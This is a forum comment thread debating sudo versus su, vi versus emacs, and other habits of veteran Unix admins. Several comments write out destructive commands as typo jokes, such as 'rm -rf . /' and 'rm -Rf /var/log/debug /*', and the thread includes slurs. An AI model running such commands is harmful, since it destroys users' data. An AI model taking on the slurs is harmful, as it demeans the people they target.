Sudo caches the fact that you've typed your password, and anyone who knows to type 'rm -rf *' in a root shell probably knows to type 'sudo rm -rf *' as well. The only thing sudo prevents is people who don't know what they're doing from doing something bad by accident, and people who do know what they're doing from doing something important quickly...
You can adjust the duration of the password caching in /etc/sudoers. The default is fifteen minutes -- I prefer a duration of two or three minutes, which is long enough to two a couple of commands in a row. If I actually need more than that, then I'd use sudo -i, but I rarely find that useful.
if you must execute more than one command, you do 'sudo su -' and your sudo logger goes puff.
Ok, logging into to a database is *not* being a Unix/Linux Admin, it is managing a database.
Listen. The people who log in to make changes to the database, and update the website(sorry, application server), are *USERS*, even if some of them are in sudoers, they are not the Admin (who put them in sudoers).
Samsung took back my unlocked bootloader because Google wants me to rent movies. They're both evil.
And the Dilbert perspective...
This space unintentionally left blank.
Why the hell didn't my link show up? http://i4.photobucket.com/albums/y129/Scarletdown/Dilbert-Unix.png
This space unintentionally left blank.
Wouldn't the same be true for su and the root account? Run malicious code as the root user, it can modify the root user's environment. Then you have a compromised system.
Sure, if you run malicious code as root you're screwed. But presumably you aren't e.g. browsing the web and running the perpetually-vulnerable Flash Player as root.
By using sudo, you get to skip the last step.
Except that you have to type sudo for every command. "su" is half as many letters, one time, for an unlimited number of differing commands.
What the hell does Canonical have to do with this? It's not like Canonical invented sudo.
No, Canonical didn't invent sudo, I didn't claim that. I know sudo has been around the traps for a long time, I'm talking more about the mindset surrounding its use.
Canonical are arguably responsible for bringing Linux to "the masses" so to speak. I think Ubuntu made sudo popular. I can honestly say I never used sudo until I first mucked around with Ubuntu. It is my impression that Ubuntu popularised sudo, or at the very least, popularised it as "best practice" or "the right thing to do".
So there's another sign of a veteran Unix admin: bitching about Canonical (or anything less than 20-30 years old) even when they're nothing to do with the complaint...
That's your opinion and that's OK, my opinion is that the idea of "sudo as best practice" is a recent thing; a symptom, if you will, of the popularity of Ubuntu.
sudo can add convenience in that it can optionally remember your authentication (or not require it at all) so you don't have to re-type a password every time you acquire a root shell with 'sudo -s'.
sudo /bin/bash FTW
You, like most others in this discussion and TFA's author, do not understand what sudo is for.
Sudo is not there to help sysadmins avoid foot-shooting. That is merely a useful, but relatively insignificant, fringe benefit.
The point of sudo is to allow secure separation of duties and some semblence of an audit trail.
Sure we do.
We write a script that...
Reads the story. :)
Opens the reply form.
Searches our databases for related information.
Creates a whimsical yet topical reply.
Inserts it into the comment box
And then counts down the seconds due to the damned 15 seconds required between opening the reply form and submitting it. Mine usually gets it in with 14 seconds to spare.
Of course, we can't allow it to get first post every time. That would be far too obvious. Mine is set to randomly try about once a month.
Th at silly "Watson" Jeopardy AI has nothing on us. But, we couldn't be bothered with such silly games. We have more interesting things to do, like see how long we can keep a Slashdot thread going, or how long we can keep people interested in a conversation on IRC.
Serious? Seriousness is well above my pay grade.
Uh huh. Okay. How about this?
rm -rf . /
Normal user: "Oh shit access denied, ctrl-c ctrl-c"
Root: "Huh, why is this delete taking so long?"
Don't forget the ever popular chown -R foo:bar . in the wrong directory.
"When you sit with a nice girl for two hours, it seems like two minutes. When you sit on a hot stove for two minutes, it
Sudo can reset the environment.
Doing that helps, but it doesn't eliminate the entire class of vulnerabilities. Try running "/usr/bin/sudo echo $USER" with env_reset turned on. You get the wheel user rather than root because the user's shell expands the variable before sudo resets the environment.
So your "serious environment" lacks separation of duties and audit trails ?
All the major changes are documented under ":help vi_diff.txt". You can set the undolevels option to 0 to get the vi behavior. Also see ":help undo-two-ways".
Awk, what's that you sed?
Siriusly, I gave up sysadmining when I realized bds unix (i.e., Apple) already done that for me, and all I had to worry about was how to fork Perl.
``Tension, apprehension & dissension have begun!'' - Duffy Wyg&, in Alfred Bester's _The Demolished Man_
Yes. This is why you disable all those backdoors and only specify particular commands that can be run in /etc/sudoers, with others either denied, or lighting up your IDS/system monitoring like a Christmas tree.
(This also serves as a handy reminder that properly securing systems is *extremely difficult*.)
You sir, are full of shit. Sudo IS ROOT. Repeat after me a second time, sudo IS ROOT. It's just annoying root. If users need root to do their mundane work--which is what sudo is for--there's something wrong that needs to be handled by code.
As far as slipping up, uh, what are you going to screw up? I mean, all your configs are version controlled in CFEngine/svn/cvs right? And you have an extensive library of base system images right? You have a bootstrapper right? And your data is on external snapshotted storage right? And you have backups right?
Surely you do a double take on each rm -f, that's about the only one you have to think about. And sudo is not going to save your ass in that scenario anyway, unless you have rm turned off, which....what would be the point of that? Compared with a database where you can just drop all; bye, replicate to the peers, I'd say you're pretty paranoid and frightened little bunny and probably don't really understand your system enough to rebuild it from the ground up (which is the worst case) (rm -rf /). When you do have that understanding and the ability to rebuild very quickly (a fully running production environment), as all good admins do, then you have the confidence to run around as root and actually get stuff done. In fact, I recommend rebuilding as much as you can until you can do it in minutes. Because "serious environments" don't have lots of crufty hacks and unauditable implementations and changes. They have testable, provable, deployable configurations. See ya, wouldn't want to be ya! ;)
Cool! Amazing Toys.
env_reset
If set, sudo will reset the environment to only contain the LOGNAME, MAIL, SHELL, USER, USERNAME and the SUDO_* variables. Any
variables in the caller's environment that match the env_keep and env_check lists are then added. The default contents of the
env_keep and env_check lists are displayed when sudo is run by root with the -V option. If the secure_path option is set, its value
will be used for the PATH environment variable. This flag is on by default.
Climate Progress - Hell and High Water
remind me never to hire you
Climate Progress - Hell and High Water
1: We don't use sudo /' a server anyway and bring it back within a day or this points to a whole other problem, i.e. no backups, or no emergency restore plan.
True but we don't use 'su -' either like the article suggested. We use SSH keys to log in as root directly so we can run commands and scripts from a central server over hundreds of servers without having to log into them. Sudo is like training wheels. I should be able to 'rm -rf
2: We use vi, not emacs, and definitely not pico or nano
No we don't. We use 'joe' because we learned how to code C on Borland Turbo C and we like our Wordstar command keys. I never understood the use of a separate view/edit mode either anyway.
7: We have more in common with medical examiners than doctors
True, when we fix a problem, we do spend a bit of time on finding out _why_ it occurred, but most of our time, we'll spend DOCUMENTING! I can't believe the guy never even mentioned that word in his whole article.
9: Rebooting is almost never an option
Rebooting is _always_ an option. A veteran admin knows it is sometimes better to ask for forgiveness then it is to ask for permission. Also we're busy people, and I feel better when I know a server comes up again after a reboot after I made changes.
I feel the guy in the article is already a seasoned admin, but he's got some way to go before he's really a veteran.
like using vi to look at a config file you have no intention of editing
For that we use view of course.
And :w! if we change our mind.
Did you try this:
:set cpoptions+=u
And it even talks about your issue under ":help u". Including how to do the above.
Daniel Klugh
I think GP was suggesting running shell as root on a permanent basis.
ls, cat, grep, sed, free, etc.
If you're not using these 3 times as much as you're doing active things, I don't know how you know what's going on.
Sure, you occasionally run into the odd file that's only readable to root, but mostly you can see things well enough without touching anything before you decide what needs to be done. Then you say sudo just so you're clear about what you're doing.
The GGP was just being a douchbag..
It's elitist bullshit simply because sudo is newer then logging into root and the GGP doesn't like change.
Not being a US citizen all I know about N*ggers is that only N*ggers can say N*ggers.
When your service account has complete access to do anything with that service, it's effectively "root". So much is offloaded to services at this point the "real" host system is barely touched for anything, thus little need for "real" root. You can feel macho for schooling people about using sudo for root, but you're still a fool.
If you've offloaded all the important bits to a service account, you haven't accomplished much but changing the effective name of the "root" user. Most all the power and just as much ability to effectively wreck havoc is now in the hands of the "service account".
The host is irrelevant, thus root is irrelevant. Service accounts are the new root.
My
Or, you could just use sudo -s 'for i in /root/*txt; do file $i; done' and skip all the backslashes.
But even so, I agree with the article that sudo is a crutch for lazy admins. You should be in a non-root shell for all actions that don't require root access, and su - to a root shell for those that do - and when you're done, exit the root shell. Do no leave it open.
But then again, I smiled with recognition at all nine points in the article...
"Total destruction the only solution" - Bob Marley
Su to root, solve the problem, get out. I don't see what isn't methodical about that?
By using sudo, you get to skip the last step.
Only if your solution to the problem only involves one command. Which, in my experience it seldom does.
Sudo is a crutch for home-users who don't trust themselves to remember if they're in a root shell or not. "Real Unix Admins" don't have that problem and don't need sudo.
"Total destruction the only solution" - Bob Marley
Ok, logging into to a database is *not* being a Unix/Linux Admin, it is managing a database.
Listen. The people who log in to make changes to the database, and update the website(sorry, application server), are *USERS*, even if some of them are in sudoers, they are not the Admin (who put them in sudoers).
+1 Informative.
"Total destruction the only solution" - Bob Marley
Usually when I do admin-work on my system, I have more than one command to enter. Since I am not very good I have to Google a lot of things. This takes time. When I finally found how to do what I want I do not want to be interrupted because the sudo timeout has expired.
I simply start my admin work with su and end it with su neil. Once I have reverted to neil, the system is safe again. Safe enough to let others work with it.
Well, I might have a way, but it only works on a semi spherical planet in a vacuum.
Really? When your job is entirely about being root, sudo is just getting in the way. I happen to have run systems in a serious environment, and we never used sudo. I would say if you have something to do that ISN'T root, you sir are teh nub.
Real sysadmins eventually have to build something from source. It doesn't matter if they do it in a package manager, or via the trusty autotools chain, or if they just launch a crusty Makefile. Reasons abound from needing exact version X of Y when the distro is ahead, behind, or just doesn't offer it.
Only a great fool of a sysadmin would build any software as root. Install as root is often necessary, but building as root is just a mistake.
I have to go with the GP on this one. It's not that vim is inherently bad, it's just that it's *unnecessary*. [...]
I currently had to learn vi. Not vim, but the original vi. I had to do some work on some Solaris and AIX machines. vi was the only tool that was available on all of them. Most of them dad vim, some even emacs. But only vi was on all of them.
So I would say the reason to deal with vi instead of the better/newer editors is not so much that the other editors are not necessary. But the other editors might be unavailable.
I now try to use always vi, to practice its usage. The next time when no other editor is available, I will be prepared.
I still use telnet, mainly for connecting to remote http and smtp servers.
Telnet sends terminal management information included in the byte stream. Use netcat or socat if you just want to pipe stdin into a TCP session.
Geez, guys. If you want to add new stuff (like a history to go backward through), don't change the behavior of an existing command. Add another, or at least make it configurable - preferably with the default the old behavior.
I wholeheartedly second that!
It's a frustrating experience when you have to unlearn routine things like your example, at least is is for me.
Well said, IMHO.
Down With Slashdot BETA!!! I've been around the corner and seen the oliphant; you can only abuse me from your perspecti
...documented...
Your Szchwartz is almost as big as mine!
Having kept up with the times, if I have to read documentation I'm doing something I'm not supposed to do. If googling and three clicks doesn't bring me to an Ubuntu user who has already had my problem and solved it, I pipe the issue to my To-Do list, AKA. /dev/null. Meaning I just forget about it and go back to whining about lack of GPU accelerated flash video support.
Mouse-driven copy-paste is what it's all about. That's why nano.
All rites reversed 2010
You should really look into netcat to replace telnet for troubleshooting, it can do that and is a lot more flexible.
The way to corrupt a youth is to teach him to hold in higher value them who think alike than those who think differently
I didn't say that. There is more than one way to skin a cat. Everything that was ever done as root on the systems in question were logged. And I am not sure what you mean by separation of duties, but app support, dbas and root tasks are all performed by their own accounts and staff. If I needed to help a dba, I would sit with them and use their login.
I would just add that customizing vim is a great idea. Because you'll never want to run vim on a new system you haven't extensively configured before... And besides, inconsistent behavior is just the spice pod life, you're sure to notice immediately, make no mistakes because of it, and just have a laugh about it later.
Seriously, nvi is awesome. Shows you the dos crlf breaks in your config file that are hosing up your server with a nonsense error message and no useful indications. Tiny, notably faster than vim, and much less nonsense popping up and showing you down.
Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
When you have hundreds of systems, you don't build any software on anything close to production anyway. But I agree with the point.
You didn't close the anchor tag. It's a bug.
Finally had enough. Come see us over at https://soylentnews.org/
This. I'm a hardcore emacs user - I wrote my own variant in TECO on a PDP-11 called "MINE" (unoriginally named after FINE - FINE Is Not Emacs) back around 1980, but I gave in and learned the basics of vi a few years back, simply because emacs isn't always available, and sometimes "echo whatever >> temp.sh" just won't cut it.
The should be bourne from years of learning.
SCNR
The first thing we do in vim is turn off syntax highlighting and silently curse whoever keeps turning it back on.
Why? I have seen this before, but never understood why anybody would prefer their C-code (or whatever) without syntax highlighting. Can you explain what is wrong with syntax highlighting?
if I have to read documentation I'm doing something I'm not supposed to do.
Chances are, if you DON'T read documentation you're also doing something you're not supposed to do.
The only difference is that while you're reading, atleast you're not screwing up.
Slashdot social media options: AIM, ICQ, Yahoo, Jabber and Mobile Text. Why no MySpace?
I think what I didn't make clear is the fact that we had separate groups that ran the non-root services. With hundreds of systems and a small group of us that had root access(restricted by IP and ssh key-based auth, heavily monitored and any exception was emailed from central syslog, among other things) if we were logging into a server, it was to do something that needed root access. We weren't logging in to troubleshoot apache as root. Well, sometimes, but we had everything scripted so we wouldn't start things up with the wrong UID.
We didn't even have sudo installed on the really old systems and any su would trigger alerts.
I guess my original point was, as root I was aware of the loaded gun I was carrying, but that was my job. It seems that many of the admins in this thread may be of the small shop variety that are wearing more than just the # hat. That is fine too, and if you do have to wear different hats, then sudo is probably a great thing.
And really, lighten up kids, you too will be old and bearded someday and will get a kick out of arguing the merits of old school vs. new school. Hell, when I started security was an after thought and if you wanted to harden a system, you were considered a security nazi.
The first thing we do in vim is turn off syntax highlighting and silently curse whoever keeps turning it back on
I second the other poster's WTF here. It's one thing not to rely on the advanced features of vim - after all, the Single UNIX Spec only mandates vi, so it's the only thing you can guarantee being available, but it seems crazy to not take advantage of them when they are available. Do you also turn of auto-indenting and multi-level undo so that you can spend more time typing and less time actually being productive?
I am TheRaven on Soylent News
As I recall, it does default to the vi behaviour. The newer stuff is only enabled with :set nocompatible. Of course, on most GNU/Linux distros, vi is a hard link to vim and both read the system vimrc, which sets this by default. If you use a real OS, vi and vim are separate binaries, vi behaves like vi and vim behaves like vim.
I am TheRaven on Soylent News
Just tiny technicality, what's wrong with "sudo su root" ?
Sudo can be set to require the root password. It can also be configured to only require it for some commands, to require the user's password for others, and so on.
I am TheRaven on Soylent News
Wow, did I touch a nerve there? I didn't run X on servers, and the only time the root password is typed is if you are at the console. Just because we didn't use sudo doesn't mean we didn't have our own system for access control and auditing.
And I have to agree with visualight, if you are spending 99% of your time as a regular user, then you are not a Unix admin, but more likely an app support/dev person who is in /etc/sudoers.
Either way, I thought the article was funny and was just having some fun with it.
And, of course, man. Which, on a typical system, is a wrapper that invokes a typesetting system and a pager. All of which are quite large and may contain bugs. None of which need to be run as root.
I am TheRaven on Soylent News
If bash is in /bin, you're a Linux user, not a UNIX admin.
I am TheRaven on Soylent News
Don't just look at it. Eat it.
Su or sudo, makes little difference, if i only need to run apt-get upgrade or something like that, i'll sudo, if i need to do more then a few commands i might su, but i consider it best practice to use su as little as possible.
Here is how you do the "replace every third character unless it is followed by 4" using python: d = open('infile.txt', 'rb').read() d = ''.join(('R' if (idx % 3 == 0 and ch1 != '4') else ch) for (idx, (ch, ch1)) in enumerate(map(None, d, d[1:]))) open('outfile.txt', 'rb').write(d) I doubt you can write that as succintly using regexps. To bad slashdot fucked the code up.
Football Odds
While I'm sure some people use sudo to help keep them from doing stupid things in a root shell, that's really not the main purpose. There are a whole slew of legitimate things you can do with sudo that have nothing to do with protecting the system from typos/etc.
1. Allow multiple admins to each have their own "root" password -- no password sharing required.
2. Avoid setting a root password, so it's impossible to get direct root access via password-authenticated
3. Log every command run with elevated privileges for auditing purposes.
4. Prevent (or at least make it harder) for someone to leave a root shell unattended. sudo requires re-authentication on whatever interval you desire; a root shell has no such feature
5. Reduce the amount of typing related to run a single command with elevated privileges
6. Allow non-admin users (including non-root daemons) to run specific commands with elevated privileges -- for example, allow users to edit their own config files without admin assistance and without granting them access to all config files.
7. Allow certain commands to be run with elevated privileges without a password prompt based on group memebership/etc. For example, allow anyone in the "print_admin" group to run `killall -1 lpd` without further authentication. It's not a command you want anyone running willy-nilly, but it's not dangerous enough to require re-authentication of the session either.
And I'm sure there's a whole slew of other reasons to use sudo. That's not to say a root shell isn't still a useful tool in some scenarios -- if you're going to do a series of high-privilege tasks and you're not worried about strict audit trails a root shell makes sense. But you could still get there with a non-shared password if you used sudo for privilege elevation rather than `su`.
I hope you are joking.
You don't end your su by running su neil, you invoke another su.
If someone finds your neil shell and exits, they will be back as root.
Your should type "exit" to end your su, or maybe "exec su neil" if you must. exec replaces your root su with the neil one instead of pausing it.
blog.sam.liddicott.com
Rebooting destroys information. If you reboot for any petty reasons, you miss the truly important problems.
Here's a practical example: I have a server that had been running uninterruptedly since it was first installed, in August 2007. The air conditioning system at the site had been giving a lot of trouble recently, and everybody complained, but the upper management thought there was no reason to upgrade it.
Recently there was a long, several hours, failure of the AC and the server gave a temperature alarm and had to be rebooted. An event that happens once in three years is a *strong* message that something is seriously wrong. If I had rebooted the system frequently, the AC failure would have been business as usual.
sussudio?
#SickNotWeak
Hey, *real* developers/sysadmins use *rocks*.
Aside: I find it brilliant that all the one-upsmanship can come from the exact same source.
You probably think you are kidding, but I personally loath vi and its evil, twisted spawn to the extent that I actually will use ed instead if ed is available.
What do I prefer to use for text editing? kwrite if the gui is available. jed if it isn't.
You can't see ANYTHING from a car, You've got to get out of the goddamned contraption and walk...Edward Abbey
While I'm sure some people use sudo to help keep them from doing stupid things in a root shell, that's really not the main purpose. There are a whole slew of legitimate things you can do with sudo that have nothing to do with protecting the system from typos/etc.
Alright, time to debunk this charlatan, who I strongly suspect of having once used Windows.
1. Allow multiple admins to each have their own "root" password -- no password sharing required.
There can be only one! If two admins ever exist, they must do battle until this natural state is restored. It is the way of the admin.
2. Avoid setting a root password, so it's impossible to get direct root access via password-authenticated
Anyone knows that you can simply disable the root password to be used as a login at all. What imposter is this that does not know this? This guy might not just use windows, he might even have a MS Phone!
3. Log every command run with elevated privileges for auditing purposes.
The other name, the hidden name for admin is root, root audits, no one audits root. Only a peer or superior can perform an audit and root will not meet a peer until his time on this earth has come to and end and he goes to the great server room in the ether.
4. Prevent (or at least make it harder) for someone to leave a root shell unattended. sudo requires re-authentication on whatever interval you desire; a root shell has no such feature
If anyone dares touch the machine of an admin, then he is no true admin. You do not protect the sacred contents of the temple with foolish traps but with sheer physical terror installed through decades of ritual abuse of your subjects.
5. Reduce the amount of typing related to run a single command with elevated privileges
I am root, my aliases are so powerful I merely have to glance at the keyboard to convey my will. Typing is for secretaries.
6. Allow non-admin users (including non-root daemons) to run specific commands with elevated privileges -- for example, allow users to edit their own
config files without admin assistance and without granting them access to all config files.
Users, with ROOT? BLASPHEMY! We must burn this heretic!
7. Allow certain commands to be run with elevated privileges without a password prompt based on group memebership/etc. For example, allow anyone in the "print_admin" group to run `killall -1 lpd` without further authentication. It's not a command you want anyone running willy-nilly, but it's not dangerous enough to require re-authentication of the session either.
Alright, that is it, GET HIM!
And I'm sure there's a whole slew of other reasons to use sudo. That's not to say a root shell isn't still a useful tool in some scenarios -- if you're going to do a series of high-privilege tasks and you're not worried about strict audit trails a root shell makes sense. But you could still get there with a non-shared password if you used sudo for privilege elevation rather than `su`.
Gosh, I would have thought putting him on a burning cross would shut him up. Alas, this poor MS drone has been so well indoctrinated his feeble mind can even in the last moments of life do nothing but spill his vile master lies. My the root have mercy on his soul.
MMO Quests are like orgasms:
You may solo them, I prefer them in a group.
why are you even logged
That tiny kernel is what separates the sudo using noobs from the oldtimers. The oldtimers have a "personal server" or a shared "swamp box" or a "dev server" with some coworkers where they F around, experiment with grep, and read usenet slashdot infopages and manpages.
The noobs are the ones whom log into the primary DNS server or the primary mail server to F around, read man pages, fool with grep on large files, read usenet, ssh into other boxes. Then they overload it, crash it, run it out of memory, wipe it, and the "solution" is to install sudo. Stupid.
The REAL solution is not to F around on a production box. Log in, do your root work as fast as possible, and log out, as fast as possible. The oldtimers know the only reason to log into the primary DNS server is to do things requiring logging in as root. Everytime you do something on a production box, you need to ask yourself, should I be doing this on a dev box instead?
The other side of the coin is oldtimers either use "Puppet" or a homemade reinvention like it. Other than disaster emergency situations, why the hell would I log in as root to individual boxes to install software or make config changes? I generally do not log into production boxes other than troubleshooting failures. You get puppet to the point where it works on a test box, have puppet deploy itself to another test box, apply it to one production box while carefully monitoring and testing, then have puppet deploy to the whole farm. Deployment involved both application and removal recipes.
I don't log in as root to add/remove users because of centralized AAA systems, so discussing how I "need sudo" to add users just shows ignorance of modern practice. I don't log in as root to look at logs because I have centralized logging systems so discussing how I "need sudo" to run dmesg and tail -f /var/log/syslog just shows ignorance of modern practice.
In ye olden days, back when Cthulhu was just a pup, I used CVS (which at that time was pretty cutting edge) and a small herd of shell script using that newfangled "bash shell" thing to emulate what you can now do in about two lines of Puppet. If you're allergic to Puppet or whatever, you can make a poor, inadequate, featureless, and inelegant clone of Puppet using git and some shell scripts in about a half hour.
"Science flies us to the moon. Religion flies us into buildings." - Victor Stenger
VI vs Emacs is an old and silly argument. This guy loses major points for essentially claiming that the only one true editor for "veteran UNIX admins" is VI.
Every log, every config, every chmod, damn near every command needs to done as root
WRONG. Could not be wrong-er.
All of those are supposed to be done by an automated and/or centralized system.
rsyslog has copyright dates from 1995. sysklogd is older. Puppet has copyright dates from 2005 but that is like using a nuke as a flyswatter. This is not exactly cutting edge design.
If you're manually changing stuff by hand, either as root or by sudo, either its a bizarre emergency situation or you're doin it wrong...
If you can't deploy services to a new box using one line in a Puppet config you are so doing it wrong.
"Science flies us to the moon. Religion flies us into buildings." - Victor Stenger
I liked reading your reasoning on vim - especially the "Hell, even using the arrow keys to move around is a needlessly inefficient waste of motion, since the arrow keys are usually far from any other useful key on the keyboard," as that's exactly what i was thinking. Then I used 'j' and 'k' to try to scroll up and down accidentally ;)
How should I know if it works? That's what beta testers are for. I only coded it.
-- Attributed to Linus Torvalds, somewhere in a posting
A particularly nasty vim change is that
Indeed, i've been bitten by this a few times. Worse is: the redo will be seen as an edit, so all your undo's could be lost. I like finding an old piece of text by doing undo, yank, and redo, but the redo will break if you edit after undo of course. Perhaps vim is clever enough to store the whole tree of redo's/undo's - would be a great feature i guess - but I didn't look it up, just cursed vim that it ate my work, something that could have been avoided by doing the sensible thing: don't change such fundamental behaviour by default.
rm -rf /var /log/debug*
If you're limited to one extra spacebar, this is much funnier
rm -Rf /var/log/debug /*
Which explains why I don't particularly like subdirectories in /var/log, but whatever.
This is an epic fail at a higher level, as you're supposed to be using centralized logging, and whatever isn't being logged centrally is supposed to be maintained by logrotate, so unless your job is "hiding evidence" the actual fatal error was manually maintaining log files, not maintaining them the wrong way.
Most "dumb things that sudo tries to prevent" are in this general class of epic fail.
"Science flies us to the moon. Religion flies us into buildings." - Victor Stenger
Between the VIM/VI/Emacs talk and SUDO/SU I charcoal where my asbestos undies used to be. The Perl vs. AWK/GREP/SED comment on the site made me feel like Wile E. Coyote after running over my own TNT trap.
~~ Behold the flying cow with a rail gun! ~~
Another one.
You're off topic. Deploying a new OS or changes to an OS are of course automated -but then we're not logging in to any system are we?
Not to mention, what the hell is the difference? You're editing the same configuration through Puppet.
*I need to log in as root, it's an emergency".
"Is it a bizarre emergency?"
"No, it's just a regular emergency"
Puppet is not so fantastic, most of the time it's an unnecessary abstraction. Sometimes it seems that since all of the important things have already been done people keep themselves busy with new layers of crap...
"Well then you better just use Puppet for this one"
Samsung took back my unlocked bootloader because Google wants me to rent movies. They're both evil.
As sibling said, that starts a *new* process as neil, your old root shell is still there.
For the scenario you describe, exit your root shell to get back to neil, or use 'suspend' if your shell supports it so you can 'fg' back to root if you want.
Years ago I created an alias for rm -rf called "nuke". I've been using it for so long that I just type it automatically whenever I need to use rm -rf. I've never created the alias under root though, so if I ever type it without thinking I'll save myself some potential heartache. It's not happened yet though.
I agree with your sentiment too. If I'm logged into a server, it's as root. I wouldn't be logged into the server if I didn't need to do something that wasn't as root, so what the hell would be the point?!
The colors clash with my decor.
I think the only significant benefit to sudo is that you can give users root access, without giving the root password, and take it away again without changing the root password.
:).
It's more sensible way of authenticating: authenticate with your own password, authorize (or not) with sudo. authentication != authorization.
That said, I don't mind su for a system with very few root users and always use sudo as 'sudo -s'
whatever isn't being logged centrally is supposed to be maintained by logrotate
That's fine until one day when a misbehaving application writes 200GBs of junk data to a 10gb /var/log partition within a 48 hour period, and since logrotate only runs once a day....
Meaning I just forget about it and go back to whining about lack of GPU accelerated flash video support.
But doesn't Flash 10.2 have it, even on LInux?
If you are using some incredibly fucking expensive commercial software that runs on clusters that is exactly what gets used by their cluster tools that should have been rewritten more than a decade ago.
Using ed was actually the sane and quick solution to reset the root password on a solaris 8 machine by using an install CD and a serial terminal.
The significant benefit of Sudo is you don't have to remember two passwords. 'Sudo bash' is fine; just one password to remember; or none if you config sudo right.
The biggest problem with Sudo is too many characters; you should alias it to "op"; then it clearly kicks su's ass.
vim? svelt? Puhleez. When not using ed(1), Real Unix vets use Bostic's One True vi, not some fagged-up Vegas showplace of an editor like vim.
That's like saying Real Unix vets still use telnet and rsh to remotely administer machines. Sometimes it's nice to be able to move up and down lines without having to leave edit/write mode. vim is used by Real Unix vets who have kept up with the times, just like ssh. Only washed up has-beens don't learn to eventually use better tools.
Honestly, I hate VIM. By default it has all these stupid colours that have no useful purpose. On RH-based systems I always remove the vim-enhanced package. I just want 'vi' when I type in the command 'vi'. If I wanted VIM I'd type in 'vim'. Making that the default is absolutely fucking stupid and just gets in my way--I find it as irritating as Clippy.
For writing code I generally use Emacs, but if I just want to edit nsswitch.conf or something then I don't need fucking colours and all these other useless gimmicks.
Ditto for all those stupid colours when i do 'ls'. I have no fucking idea what "blue" means or "magenta" or whatever. I know what having a '/' or '@' at the end of the file name means. Especially since my default terminal is white/grey text on a black background; blue text can't be read at all.
Honestly, Unix was designed to get out of the user's way as much as possible, and all these "features" just irritate the hell out of me.
With the greatest possible respect for whatever you do for a living and are most likely good at - you have no clue at all here and are just handing out dangerous and misleading advice based on TOTAL ignorance so go play in a different sandpit and leave the grownups alone. Rebooting with a full disk is a WISE thing to do? You've mixed up wise with incredibly fucking stupid. With a lot of systems that can give you a something that will not come back up after the reboot and I can tell you I've seen that as recently as last year and over a dozen times previously.
Also, the real "Unix Admin" who works in my shop better get used to using sudo. Only one guy in IA has the root password, the rest of us just have full sudo privs. From a pure security standpoint it's pointless of course, with "sudo su -" you can still become root (we often do) or mess with the audit trail (we don't), but the idea is just to keep a record of when we logged in and when we used root privs. It's a somewhat silly exercise that assumes we're all honest, but it rarely causes any issues and keeps IA happy.
I don't need a million points of light, just two points of multi-mode fiber and a 10 Gig-E router.
Sudo is a crutch for home-users who don't trust themselves to remember if they're in a root shell or not. "Real Unix Admins" don't have that problem and don't need sudo.
I suppose "Real Unix Admins" are never one of many, either, so it doesn't matter to them which one of their enlightened ranks set up the global procmail filter to tee all incoming messages to that bogusmail.ru account either.
Apparently "veteran admins" don't know the difference between "hand holding/crutch" (what TFA accuses sudo of being) and actual accountability (where sudo shines over su).
We're talking about admins, not programmers.
Give me Classic Slashdot or give me death!
I gotta wonder this too. I can see not *needing* it, I don't, but I don't turn it off either. When it's available it's helpful and I use it. When it's not I do without. I can't see how it ever hurts. If nothing else the huge blocks of pink "String colored" text tell me where I forgot to close that quote :-)
I don't need a million points of light, just two points of multi-mode fiber and a 10 Gig-E router.
You don't need su root, just "su". And you exit with ^D.
Dilbert RSS feed
How does keep people interested in a conversation on IRC make you feel?
I'll never make that mistake again, reading the experts' opinions. - Feynman
Scroll up to the "veteran admins" bitching that "sudo" is two more keys to type than "su" ;)
Again, how are the colors "getting in your way"? Ignore them. Turn them off if you want (it's trivial), but even then I don't see why. It's not like they hurt anything, and if you could learn what the "/" and "@" mean you can just as easily learn what the four colors mean. It's not like it occupies a huge amount of cranial space. Most of these posts are starting to smack of "it's different, and therefore bad". Even if it'll save you a little time and effort int he long run, the 30 seconds to learn it is too much to be arsed with.
I don't need a million points of light, just two points of multi-mode fiber and a 10 Gig-E router.
So, add "set compatible" to your .vimrc and voila you have your vi behavior including undo that you like. I on the other hand prefer VIM's undo tree but then again, I'm a developer not an admin :D.
As the island of our knowledge grows, so does the shore of our ignorance.
That's actually not true. Redo does not purge your edits. VIM's undo is a tree and simply a new branch in the undo tree is created. Look at :h undo-branches
to see how you can get to another undo branch and how to see them all.
As the island of our knowledge grows, so does the shore of our ignorance.
Veteran *nix admins certainly do *know* vi -- after all, with a freshly installed system or a system that's not theirs, it may be all that's available -- but many do prefer emacs and use it regularly. Nice job of the article to throw religion into the mix, to give their own belief as if it was the One True Belief.
It is right about pico, however -- even if a masochistic admin did prefer it for some strange reason, they'd never admit it :)
ed? real sysadmins use cat & sed to edit!!
is a damn idiot.
'vi' is learned because it's on EVERY system, while the others are not.
There's a saying about regular expressions "Once there was a man with a problem and he declared, 'I can solve this with regular expressions,' and now he has two problems." I see a lot of nasty ugly regular expressions when using awk to do exact matches off of columns GETS IT RIGHT. Unfortunately, even most "grizzled" sys admins can't gain the cognitive abilities of a bell labs patent clerk.
once any legitimate user types the proper sudo password, ALL terminals/remote login sessions under the same username can use any 'sudo' command without a password reprompt, due to the way sudo is designed.
Say what? I just tested this. Switched to a VT, did 'sudo su' entered my password and got a root prompt. Switched to another VT, did 'sudo su' and got asked for my password again. If this is a problem on other systems, it's not on Debian.
Give me Classic Slashdot or give me death!
Actually the difference from vi to vim is huge
Having worked on an AIX installation that only had vi, 1st task was to get vim running
really, it's water to wine
how long until
Any Unix admin worth his salt, no matter how long and luxurious his neck beard, will gladly upgrade his tools to improve his own efficiency.
Which is why, as a seasoned UNIX admin, I remove all vi from my systems (to prevent broken programs that do not use $EDITOR or /etc/alternatives from dropping me into vi) and use emacs exclusively. Or jove on small systems.
C-X-( and M-x yank-rectangle improve my efficiency vastly for the one-off scenarios which it is not worth scripting.
Original article author apparently has never met seasoned admins of the emacs species. Specist! :-)
Someone had to do it.
Dilbert RSS feed
Out of all the unix shops I have worked in I have not seen a single admin using sudo to do anything. I assure you I have been in some damn serious environments. If it makes you feel good, by all means do it.
Got Code?
You missed the part about auditing. I've got a team of 6 sysadmins who manage 200+ systems. While we usually document what we do on each system, it's far better to have an audit trail of what commands were run by whom in case there's ever a question. Yes, we have used it in the past.
I'm not sure why the author claims to be a veteran sysadmin, but after points 1 and 2 being completely false I don't see the point in reading further.
As for me? Sysadmin for almost 20 years (18 with Linux). Five published works, and loads of magazine articles.
Thanks for that. I've been aware of netcat, but haven't really bothered to look into it deeply, as telnet pretty much solves my remote troubleshooting needs, and it's quite ubiquitous, even available on the windows command line.
Still, I'm always up for learning a new command. I'll check it out more thoroughly, and see what it can do.
I feel very good today. Tell me how you feel.
